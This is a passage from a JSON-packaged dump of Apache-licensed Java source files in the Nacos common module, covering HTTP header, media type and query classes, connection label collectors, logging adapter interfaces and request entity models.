= iterator.next();\n            list.add(entry.getKey());\n            list.add(entry.getValue());\n        }\n        return list;\n    }\n    \n    /**\n     * Add all KV list to header. The odd index is key and the even index is value.\n     *\n     * @param list KV list\n     * @return header\n     */\n    public Header addAll(List<String> list) {\n        if ((list.size() & 1) != 0) {\n            throw new IllegalArgumentException(\"list size must be a multiple of 2\");\n        }\n        for (int i = 0; i < list.size(); ) {\n            String key = list.get(i++);\n            if (StringUtils.isNotEmpty(key)) {\n                header.put(key, list.get(i++));\n            }\n        }\n        return this;\n    }\n    \n    /**\n     * Add all parameters to header.\n     *\n     * @param params parameters\n     */\n    public void addAll(Map<String, String> params) {\n        if (MapUtil.isNotEmpty(params)) {\n            for (Map.Entry<String, String> entry : params.entrySet()) {\n                addParam(entry.getKey(), entry.getValue());\n            }\n        }\n    }\n    \n    /**\n     * set original format response header.\n     *\n     * <p>Currently only corresponds to the response header of JDK.\n     *\n     * @param key    original response header key\n     * @param values original response header values\n     */\n    public void addOriginalResponseHeader(String key, List<String> values) {\n        if (StringUtils.isNotEmpty(key)) {\n            this.originalResponseHeader.put(key, values);\n            addParam(key, values.get(0));\n        }\n    }\n    \n    /**\n     * get original format response header.\n     *\n     * <p>Currently only corresponds to the response header of JDK.\n     *\n     * @return Map original response header\n     */\n    public Map<String, List<String>> getOriginalResponseHeader() {\n        return this.originalResponseHeader;\n    }\n    \n    public String getCharset() {\n        String acceptCharset = getValue(HttpHeaderConsts.ACCEPT_CHARSET);\n        if (acceptCharset == null) {\n            String contentType = getValue(HttpHeaderConsts.CONTENT_TYPE);\n            acceptCharset = StringUtils.isNotBlank(contentType) ? analysisCharset(contentType) : Constants.ENCODE;\n        }\n        return acceptCharset;\n    }\n    \n    private String analysisCharset(String contentType) {\n        String[] values = contentType.split(\";\");\n        String charset = Constants.ENCODE;\n        if (values.length == 1) {\n            return charset;\n        }\n        for (String value : values) {\n            if (value.startsWith(\"charset=\")) {\n                charset = value.substring(\"charset=\".length());\n            }\n        }\n        return charset;\n    }\n    \n    public void clear() {\n        header.clear();\n        originalResponseHeader.clear();\n    }\n    \n    @Override\n    public String toString() {\n        return \"Header{\" + \"headerToMap=\" + header + '}';\n    }\n}\n\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/param/MediaType.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.param;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Http Media type.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic final class MediaType {\n    \n    public static final String APPLICATION_ATOM_XML = \"application/atom+xml\";\n    \n    public static final String APPLICATION_FORM_URLENCODED = \"application/x-www-form-urlencoded;charset=UTF-8\";\n    \n    public static final String APPLICATION_OCTET_STREAM = \"application/octet-stream\";\n    \n    public static final String APPLICATION_SVG_XML = \"application/svg+xml\";\n    \n    public static final String APPLICATION_XHTML_XML = \"application/xhtml+xml\";\n    \n    public static final String APPLICATION_XML = \"application/xml;charset=UTF-8\";\n    \n    public static final String APPLICATION_JSON = \"application/json;charset=UTF-8\";\n    \n    public static final String MULTIPART_FORM_DATA = \"multipart/form-data;charset=UTF-8\";\n    \n    public static final String TEXT_HTML = \"text/html;charset=UTF-8\";\n    \n    public static final String TEXT_PLAIN = \"text/plain;charset=UTF-8\";\n    \n    private MediaType(String type, String charset) {\n        this.type = type;\n        this.charset = charset;\n    }\n    \n    /**\n     * content type.\n     */\n    private final String type;\n    \n    /**\n     * content type charset.\n     */\n    private final String charset;\n    \n    /**\n     * Parse the given String contentType into a {@code MediaType} object.\n     *\n     * @param contentType mediaType\n     * @return MediaType\n     */\n    public static MediaType valueOf(String contentType) {\n        if (StringUtils.isEmpty(contentType)) {\n            throw new IllegalArgumentException(\"MediaType must not be empty\");\n        }\n        String[] values = contentType.split(\";\");\n        String charset = Constants.ENCODE;\n        for (String value : values) {\n            if (value.startsWith(\"charset=\")) {\n                charset = value.substring(\"charset=\".length());\n            }\n        }\n        return new MediaType(values[0], charset);\n    }\n    \n    /**\n     * Use the given contentType and charset to assemble into a {@code MediaType} object.\n     *\n     * @param contentType contentType\n     * @param charset charset\n     * @return MediaType\n     */\n    public static MediaType valueOf(String contentType, String charset) {\n        if (StringUtils.isEmpty(contentType)) {\n            throw new IllegalArgumentException(\"MediaType must not be empty\");\n        }\n        String[] values = contentType.split(\";\");\n        return new MediaType(values[0], StringUtils.isEmpty(charset) ? Constants.ENCODE : charset);\n    }\n    \n    public String getType() {\n        return type;\n    }\n    \n    public String getCharset() {\n        return charset;\n    }\n    \n    @Override\n    public String toString() {\n        return type + \";charset=\" + charset;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/param/Query.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.param;\n\nimport com.alibaba.nacos.common.utils.MapUtil;\n\nimport java.io.UnsupportedEncodingException;\nimport java.net.URLEncoder;\nimport java.util.LinkedHashMap;\nimport java.util.Map;\nimport java.util.Set;\n\n/**\n * Http Query object.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class Query {\n    \n    private boolean isEmpty = true;\n    \n    public static final Query EMPTY = Query.newInstance();\n    \n    private Map<String, Object> params;\n    \n    private static final String DEFAULT_ENC = \"UTF-8\";\n    \n    public Query() {\n        params = new LinkedHashMap<>();\n    }\n    \n    public static Query newInstance() {\n        return new Query();\n    }\n    \n    /**\n     * Add query parameter.\n     *\n     * @param key   key\n     * @param value value\n     * @return this query\n     */\n    public Query addParam(String key, Object value) {\n        isEmpty = false;\n        params.put(key, value);\n        return this;\n    }\n    \n    public Object getValue(String key) {\n        return params.get(key);\n    }\n    \n    /**\n     * Add all parameters as query parameter.\n     *\n     * @param params parameters\n     * @return this query\n     */\n    public Query initParams(Map<String, String> params) {\n        if (MapUtil.isNotEmpty(params)) {\n            for (Map.Entry<String, String> entry : params.entrySet()) {\n                addParam(entry.getKey(), entry.getValue());\n            }\n        }\n        return this;\n    }\n    \n    /**\n     * Print query as a http url param string. Like K=V&K=V.\n     *\n     * @return http url param string\n     */\n    public String toQueryUrl() {\n        StringBuilder urlBuilder = new StringBuilder();\n        Set<Map.Entry<String, Object>> entrySet = params.entrySet();\n        int i = entrySet.size();\n        for (Map.Entry<String, Object> entry : entrySet) {\n            try {\n                if (null != entry.getValue()) {\n                    urlBuilder.append(entry.getKey()).append('=')\n                            .append(URLEncoder.encode(String.valueOf(entry.getValue()), DEFAULT_ENC));\n                    if (i > 1) {\n                        urlBuilder.append('&');\n                    }\n                }\n                i--;\n            } catch (UnsupportedEncodingException e) {\n                throw new RuntimeException(e);\n            }\n        }\n        \n        return urlBuilder.toString();\n    }\n    \n    public void clear() {\n        params.clear();\n        isEmpty = true;\n    }\n    \n    public boolean isEmpty() {\n        return isEmpty;\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/labels/LabelsCollector.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.labels;\n\nimport java.util.Map;\nimport java.util.Properties;\n\n/**\n * LabelsCollector.\n *\n * @author rong\n * @date 2024/2/4\n */\npublic interface LabelsCollector {\n    \n    /**\n     * getLabels.\n     *\n     * @param properties properties\n     * @return Map labels.\n     * @date 2024/2/4\n     * @description get all labels\n     */\n    Map<String, String> collectLabels(Properties properties);\n    \n    /**\n     * getOrder.\n     *\n     * @return the order value\n     * @date 2024/2/4\n     * @description get order value of labels in case of multiple labels\n     */\n    int getOrder();\n    \n    /**\n     * get collector name.\n     *\n     * @return name of collector\n     * @date 2024/2/4\n     * @description name of collector\n     */\n    String getName();\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/labels/LabelsCollectorManager.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.labels;\n\nimport java.util.Map;\nimport java.util.Properties;\n\n/**\n* LabelsCollectorManager.\n *\n* @author rong\n* @date 2024/2/4\n*/\npublic interface LabelsCollectorManager {\n    \n    /**\n     * refresh all labels.\n     *\n     * @date 2024/3/7\n     * @param properties    Properties.\n     * @return all labels.\n     */\n    Map<String, String> getLabels(Properties properties);\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/labels/impl/DefaultLabelsCollector.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.labels.impl;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.common.labels.LabelsCollector;\nimport com.alibaba.nacos.common.utils.ConnLabelsUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport static com.alibaba.nacos.api.common.Constants.DOT;\nimport static com.alibaba.nacos.api.common.Constants.ENV_KEY;\nimport static com.alibaba.nacos.api.common.Constants.JVM_KEY;\n\n/**\n * DefaultLabelsCollector.\n *\n * @author rong\n */\npublic class DefaultLabelsCollector implements LabelsCollector {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(\"com.alibaba.nacos.common.labels\");\n    \n    private final String customName = \"defaultNacosLabelsCollector\";\n    \n    private static final String UNDERSCORE = \"_\";\n    \n    private static final String ESCAPE = \"\\\\\";\n    \n    /**\n     * init labels.\n     *\n     * @param properties Properties\n     * @date 2024/2/4\n     * @description will init from properties, JVM OPTIONS, ENV by order of <tt>properties > JVM OPTIONS > ENV</tt> by\n     * default. which will use the next level value when the current level value isn't setup (you also can set the level\n     * by env).\n     * <p>eg: if the value of \"nacos.app.conn.labels\"(properties' key) is \"k1=v1,k2=v2\"(properties' value), the result\n     * will be a Map with value{k1=v1,k2=v2}.</p>\n     */\n    @Override\n    public Map<String, String> collectLabels(Properties properties) {\n        \n        //properties\n        LOGGER.info(\"default nacos collect properties raw labels: {}\",\n                properties.getProperty(Constants.APP_CONN_LABELS_KEY));\n        Map<String, String> propertiesLabels = ConnLabelsUtils.parseRawLabels(\n                properties.getProperty(Constants.APP_CONN_LABELS_KEY));\n        if (properties.containsKey(Constants.CONFIG_GRAY_LABEL)) {\n            propertiesLabels.put(Constants.CONFIG_GRAY_LABEL, properties.getProperty(Constants.CONFIG_GRAY_LABEL));\n        }\n        LOGGER.info(\"default nacos collect properties labels: {}\", propertiesLabels);\n        \n        //jvm\n        LOGGER.info(\"default nacos collect jvm raw labels: {}\", System.getProperty(Constants.APP_CONN_LABELS_KEY));\n        Map<String, String> jvmLabels = ConnLabelsUtils.parseRawLabels(\n                System.getProperty(Constants.APP_CONN_LABELS_KEY));\n        if (System.getProperty(Constants.CONFIG_GRAY_LABEL) != null) {\n            jvmLabels.put(Constants.CONFIG_GRAY_LABEL, System.getProperty((Constants.CONFIG_GRAY_LABEL)));\n        }\n        LOGGER.info(\"default nacos collect jvm labels: {}\", jvmLabels);\n        \n        //env\n        LOGGER.info(\"default nacos collect env raw labels: {}\",\n                System.getenv(Constants.APP_CONN_LABELS_KEY.replaceAll(ESCAPE + DOT, UNDERSCORE)));\n        Map<String, String> envLabels = ConnLabelsUtils.parseRawLabels(\n                System.getenv(Constants.APP_CONN_LABELS_KEY.replaceAll(ESCAPE + DOT, UNDERSCORE)));\n        if (System.getenv(Constants.CONFIG_GRAY_LABEL.replaceAll(ESCAPE + DOT, UNDERSCORE)) != null) {\n            envLabels.put(Constants.CONFIG_GRAY_LABEL,\n                    System.getenv(Constants.CONFIG_GRAY_LABEL.replaceAll(ESCAPE + DOT, UNDERSCORE)));\n        }\n        LOGGER.info(\"default nacos collect env labels: {}\", envLabels);\n        \n        Map<String, String> finalLabels = new HashMap<>(4);\n        String preferred = System.getenv(Constants.APP_CONN_LABELS_PREFERRED);\n        boolean jvmPrefferred = false;\n        boolean envPrefferred = false;\n        \n        if (StringUtils.isNotBlank(preferred)) {\n            LOGGER.info(\"default nacos  labels collector preferred {} labels.\", preferred);\n            if (JVM_KEY.equals(preferred)) {\n                finalLabels.putAll(jvmLabels);\n                jvmPrefferred = true;\n            } else if (ENV_KEY.equals(preferred)) {\n                finalLabels.putAll(envLabels);\n                envPrefferred = true;\n            }\n        }\n        finalLabels = ConnLabelsUtils.mergeMapByOrder(finalLabels, propertiesLabels);\n        if (!jvmPrefferred) {\n            finalLabels = ConnLabelsUtils.mergeMapByOrder(finalLabels, jvmLabels);\n        }\n        if (!envPrefferred) {\n            finalLabels = ConnLabelsUtils.mergeMapByOrder(finalLabels, envLabels);\n        }\n        \n        for (Map.Entry<String, String> entry : finalLabels.entrySet()) {\n            LOGGER.info(\"default nacos init labels: {}={}\", entry.getKey(), entry.getValue());\n        }\n        return finalLabels;\n    }\n    \n    @Override\n    public String getName() {\n        return customName;\n    }\n    \n    private static final int DEFAULT_INITIAL_ORDER = 100;\n    \n    @Override\n    public int getOrder() {\n        return DEFAULT_INITIAL_ORDER;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/labels/impl/DefaultLabelsCollectorManager.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.labels.impl;\n\nimport com.alibaba.nacos.common.labels.LabelsCollector;\nimport com.alibaba.nacos.common.labels.LabelsCollectorManager;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.ServiceLoader;\n\n/**\n * DefaultLabelsCollectorManager.\n *\n * @author rong\n */\npublic class DefaultLabelsCollectorManager implements LabelsCollectorManager {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(\"com.alibaba.nacos.common.labels\");\n    \n    private ArrayList<LabelsCollector> labelsCollectorsList = new ArrayList<>();\n    \n    public DefaultLabelsCollectorManager() {\n        labelsCollectorsList = loadLabelsCollectors();\n    }\n    \n    @Override\n    public Map<String, String> getLabels(Properties properties) {\n        LOGGER.info(\"DefaultLabelsCollectorManager get labels.....\");\n        Map<String, String> labels = getLabels(labelsCollectorsList, properties);\n        LOGGER.info(\"DefaultLabelsCollectorManager get labels finished,labels :{}\", labels);\n        return labels;\n    }\n    \n    Map<String, String> getLabels(ArrayList<LabelsCollector> labelsCollectorsList, Properties properties) {\n        \n        if (properties == null) {\n            properties = new Properties();\n        }\n        Map<String, String> labels = new HashMap<>(8);\n        for (LabelsCollector labelsCollector : labelsCollectorsList) {\n            \n            LOGGER.info(\"Process LabelsCollector with [name:{}]\", labelsCollector.getName());\n            for (Map.Entry<String, String> entry : labelsCollector.collectLabels(properties).entrySet()) {\n                if (!checkValidLabel(entry.getKey(), entry.getValue())) {\n                    LOGGER.info(\" ignore invalid label with [key:{}, value:{}] of collector [name:{}]\", entry.getKey(),\n                            entry.getValue(), labelsCollector.getName());\n                    continue;\n                }\n                if (innerAddLabel(labels, entry.getKey(), entry.getValue())) {\n                    LOGGER.info(\"pick label with [key:{}, value:{}] of collector [name:{}]\", entry.getKey(),\n                            entry.getValue(), labelsCollector.getName());\n                } else {\n                    LOGGER.info(\" ignore label with [key:{}, value:{}] of collector [name:{}],\"\n                                    + \"already existed in LabelsCollectorManager with previous [value:{}]，\", entry.getKey(),\n                            entry.getValue(), labelsCollector.getName(), labels.get(entry.getKey()));\n                }\n            }\n        }\n        return labels;\n    }\n    \n    private boolean checkValidLabel(String key, String value) {\n        return isValid(key) && isValid(value);\n    }\n    \n    private static boolean isValid(String param) {\n        if (StringUtils.isBlank(param)) {\n            return false;\n        }\n        int length = param.length();\n        if (length > maxLength) {\n            return false;\n        }\n        for (int i = 0; i < length; i++) {\n            char ch = param.charAt(i);\n            if (!Character.isLetterOrDigit(ch) && !isValidChar(ch)) {\n                return false;\n            }\n        }\n        return true;\n    }\n    \n    private static char[] validChars = new char[] {'_', '-', '.'};\n    \n    private static int maxLength = 128;\n    \n    private static boolean isValidChar(char ch) {\n        for (char c : validChars) {\n            if (c == ch) {\n                return true;\n            }\n        }\n        return false;\n    }\n    \n    private ArrayList<LabelsCollector> loadLabelsCollectors() {\n        ServiceLoader<LabelsCollector> labelsCollectors = ServiceLoader.load(LabelsCollector.class);\n        ArrayList<LabelsCollector> labelsCollectorsList = new ArrayList<>();\n        for (LabelsCollector labelsCollector : labelsCollectors) {\n            labelsCollectorsList.add(labelsCollector);\n        }\n        labelsCollectorsList.sort((o1, o2) -> o2.getOrder() - o1.getOrder());\n        return labelsCollectorsList;\n    }\n    \n    private boolean innerAddLabel(Map<String, String> labels, String key, String value) {\n        return null == labels.putIfAbsent(key, value);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/lifecycle/Closeable.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.lifecycle;\n\nimport com.alibaba.nacos.api.exception.NacosException;\n\n/**\n * An interface is used to define the resource's close and shutdown, such as IO Connection and ThreadPool.\n *\n * @author zongtanghu\n */\npublic interface Closeable {\n    \n    /**\n     * Shutdown the Resources, such as Thread Pool.\n     *\n     * @throws NacosException exception.\n     */\n    void shutdown() throws NacosException;\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/logging/NacosLoggingAdapter.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.logging;\n\n/**\n * Nacos client logging adapter.\n *\n * @author xiweng.yy\n */\npublic interface NacosLoggingAdapter {\n    \n    /**\n     * Whether current adapter is adapted for specified logger class.\n     *\n     * @param loggerClass {@link org.slf4j.Logger} implementation class\n     * @return {@code true} if current adapter can adapt this {@link org.slf4j.Logger} implementation, otherwise {@code\n     * false}\n     */\n    boolean isAdaptedLogger(Class<?> loggerClass);\n    \n    /**\n     * Load Nacos logging configuration into log context.\n     *\n     * @param loggingProperties logging properties\n     */\n    void loadConfiguration(NacosLoggingProperties loggingProperties);\n    \n    /**\n     * Whether need reload configuration into log context.\n     *\n     * @return {@code true} when context don't contain nacos logging configuration. otherwise {@code false}\n     */\n    boolean isNeedReloadConfiguration();\n    \n    /**\n     * Get current logging default config location.\n     *\n     * @return default config location\n     */\n    String getDefaultConfigLocation();\n    \n    /**\n     * Whether current adapter enabled, design for users which want to log nacos client into app logs.\n     *\n     * @return {@code true} when enabled, otherwise {@code false}, default {@code true}\n     */\n    default boolean isEnabled() {\n        return true;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/logging/NacosLoggingAdapterBuilder.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.logging;\n\n/**\n * Builder of {@link NacosLoggingAdapter}.\n *\n * <p>\n *     Why not directly SPI {@link NacosLoggingAdapter}?\n * </p>\n * <p>\n *     To avoid some {@link NacosLoggingAdapter} initialization error casue the SPI loader exit.\n * </p>\n *\n * @author xiweng.yy\n */\npublic interface NacosLoggingAdapterBuilder {\n    \n    /**\n     * Build {@link NacosLoggingAdapter} implementation.\n     *\n     * @return {@link NacosLoggingAdapter}\n     */\n    NacosLoggingAdapter build();\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/logging/NacosLoggingProperties.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.logging;\n\nimport com.alibaba.nacos.common.utils.ConvertUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.Properties;\n\n/**\n * Nacos Logging Properties, save some nacos logging properties.\n *\n * @author xiweng.yy\n */\npublic class NacosLoggingProperties {\n    \n    private static final String NACOS_LOGGING_CONFIG_PROPERTY = \"nacos.logging.config\";\n    \n    private static final String NACOS_LOGGING_DEFAULT_CONFIG_ENABLED_PROPERTY = \"nacos.logging.default.config.enabled\";\n    \n    private static final String NACOS_LOGGING_RELOAD_INTERVAL_PROPERTY = \"nacos.logging.reload.interval.seconds\";\n    \n    private static final long DEFAULT_NACOS_LOGGING_RELOAD_INTERVAL = 10L;\n    \n    private final String defaultLocation;\n    \n    private final Properties properties;\n    \n    public NacosLoggingProperties(String defaultLocation, Properties properties) {\n        this.defaultLocation = defaultLocation;\n        this.properties = null == properties ? new Properties() : properties;\n    }\n    \n    /**\n     * Get the location of nacos logging configuration.\n     *\n     * @return location of nacos logging configuration\n     */\n    public String getLocation() {\n        String location = properties.getProperty(NACOS_LOGGING_CONFIG_PROPERTY);\n        if (StringUtils.isBlank(location)) {\n            if (isDefaultLocationEnabled()) {\n                return defaultLocation;\n            }\n            return null;\n        }\n        return location;\n    }\n    \n    /**\n     * Is default location enabled.\n     *\n     * <p> It is judged when user don't set the location of nacos logging configuration. </p>\n     *\n     * @return {@code true} if default location enabled, otherwise {@code false}, default is {@code true}\n     */\n    private boolean isDefaultLocationEnabled() {\n        String property = properties.getProperty(NACOS_LOGGING_DEFAULT_CONFIG_ENABLED_PROPERTY);\n        return property == null || ConvertUtils.toBoolean(property);\n    }\n    \n    /**\n     * Get reload internal.\n     *\n     * @return reload internal\n     */\n    public long getReloadInternal() {\n        String interval = properties.getProperty(NACOS_LOGGING_RELOAD_INTERVAL_PROPERTY);\n        return ConvertUtils.toLong(interval, DEFAULT_NACOS_LOGGING_RELOAD_INTERVAL);\n    }\n    \n    /**\n     * get property value.\n     *\n     * @param source       source\n     * @param defaultValue defaultValue\n     * @return value\n     */\n    public String getValue(String source, String defaultValue) {\n        return properties.getProperty(source, defaultValue);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/model/RequestHttpEntity.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.model;\n\nimport com.alibaba.nacos.common.http.HttpClientConfig;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\n\nimport java.util.Map;\n\n/**\n * Represents an HTTP request , consisting of headers and body.\n *\n * @author mai.jh\n */\npublic class RequestHttpEntity {\n    \n    private final Header headers = Header.newInstance();\n    \n    private final HttpClientConfig httpClientConfig;\n    \n    private final Query query;\n    \n    private final Object body;\n    \n    public RequestHttpEntity(Header header, Query query) {\n        this(null, header, query);\n    }\n    \n    public RequestHttpEntity(Header header, Object body) {\n        this(null, header, body);\n    }\n    \n    public RequestHttpEntity(Header header, Query query, Object body) {\n        this(null, header, query, body);\n    }\n    \n    public RequestHttpEntity(HttpClientConfig httpClientConfig, Header header, Query query) {\n        this(httpClientConfig, header, query, null);\n    }\n    \n    public RequestHttpEntity(HttpClientConfig httpClientConfig, Header header, Object body) {\n        this(httpClientConfig, header, null, body);\n    }\n    \n    public RequestHttpEntity(HttpClientConfig httpClientConfig, Header header, Query query, Object body) {\n        handleHeader(header);\n        this.httpClientConfig = httpClientConfig;\n        this.query = query;\n        this.body = body;\n    }\n    \n    private void handleHeader(Header header) {\n        if (header != null && !header.getHeader().isEmpty()) {\n            Map<String, String> headerMap = header.getHeader();\n            headers.addAll(headerMap);\n        }\n    }\n    \n    public Header getHeaders() {\n        return headers;\n    }\n    \n    public Query getQuery() {\n        return query;\n    }\n    \n    public Object getBody() {\n        return body;\n    }\n    \n    public HttpClientConfig getHttpClientConfig() {\n        return httpClientConfig;\n    }\n    \n    public boolean isEmptyBody() {\n        return body == null;\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/model/RestResult.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.model;\n\nimport java.io.Serializable;\n\n/**\n * Rest result.\n *\n * <p>TODO replaced or extend by {@link com.alibaba.nacos.api.model.v2.Result}.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class RestResult<T> implements Serializable {\n    \n    private static final long serialVersionUID = 6095433538316185017L;\n    \n    private int code;\n    \n    private String message;\n    \n    private T data;\n    \n    public RestResult() {\n    }\n    \n    public RestResult(int code, String message, T data) {\n        this.code = code;\n        this.setMessage(message);\n        this.data = data;\n    }\n    \n    public int getCode() {\n        return code;\n    }\n    \n    public void setCode(int code) {\n        this.code = code;\n    }\n    \n    public String getMessage() {\n        return message;\n    }\n    \n    public void 